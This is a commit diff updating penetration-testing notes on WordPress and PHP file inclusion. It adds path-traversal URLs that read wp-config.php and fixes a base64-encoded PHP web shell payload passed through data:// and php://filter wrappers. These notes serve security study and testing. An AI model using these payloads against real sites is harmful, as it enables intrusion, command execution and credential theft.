updated

Author: hdks-bug

src/exploit/web/cms/wordpress-pentesting.md

@@ -5,7 +5,7 @@ tags:
     - CMS
     - Web
 refs:
-date: 2024-05-01
+date: 2025-01-30
 draft: false
 ---
 
@@ -56,7 +56,7 @@ There is the meta tag for WordPress in the head tag of the HTML source code.
 
 <br />
 
-## Common Directories
+## Interesting Directories/Files
 
 ```sh
 /author/admin/
@@ -68,6 +68,7 @@ There is the meta tag for WordPress in the head tag of the HTML source code.
 /wp-admin/
 /wp-admin/admin-ajax.php
 /wp-admin/upload.php
+/wp-config.php
 /wp-content/
 /wp-content/uploads/
 /wp-includes/
@@ -101,6 +102,19 @@ admin:password
 
 <br />
 
+## Path Traversal
+
+Check if the WordPress version or the plugin is vulnerable to path traversal. For example:
+
+```bash
+/wp-content/plugins/<plugin_name>/<plugin_name>.php?someParam=../../../../wp-config.php
+/wp-content/plugins/<plugin_name>/<plugin_name>.php?someParam=php://filter/resource=../../../../wp-config.php
+/wp-content/plugins/<plugin_name>/php/<plugin_name>.php?someParam=../../../../wp-config.php
+/wp-content/plugins/<plugin_name>/php/<plugin_name>.php?someParam=php://filter/resource=../../../../wp-config.php
+```
+
+<br />
+
 ## Reverse Shell
 
 To achieve reverse shell, we need the admin credential.

src/exploit/web/security-risk/file-inclusion.md

@@ -5,7 +5,7 @@ tags:
     - Web
 refs:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
-date: 2024-12-12
+date: 2025-01-30
 draft: false
 ---
 
@@ -77,8 +77,8 @@ draft: false
 # PHP Filter (Base64 encoding)
 # `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`: `<?php system($_GET['cmd']); ?>`
 ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=whoami
-# `AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4`: `<?php echo system($_GET['cmd']); ?>`
-?page=php://filter/convert.base64-decode/resource=data://plain/text,AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4=&cmd=whoami
+# `PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=`: `<?php echo system($_GET['cmd']); ?>`
+?page=php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=&cmd=whoami
 
 # PHP Session File
 ?page=/var/lib/php/sessions/sess_<PHPSESSID>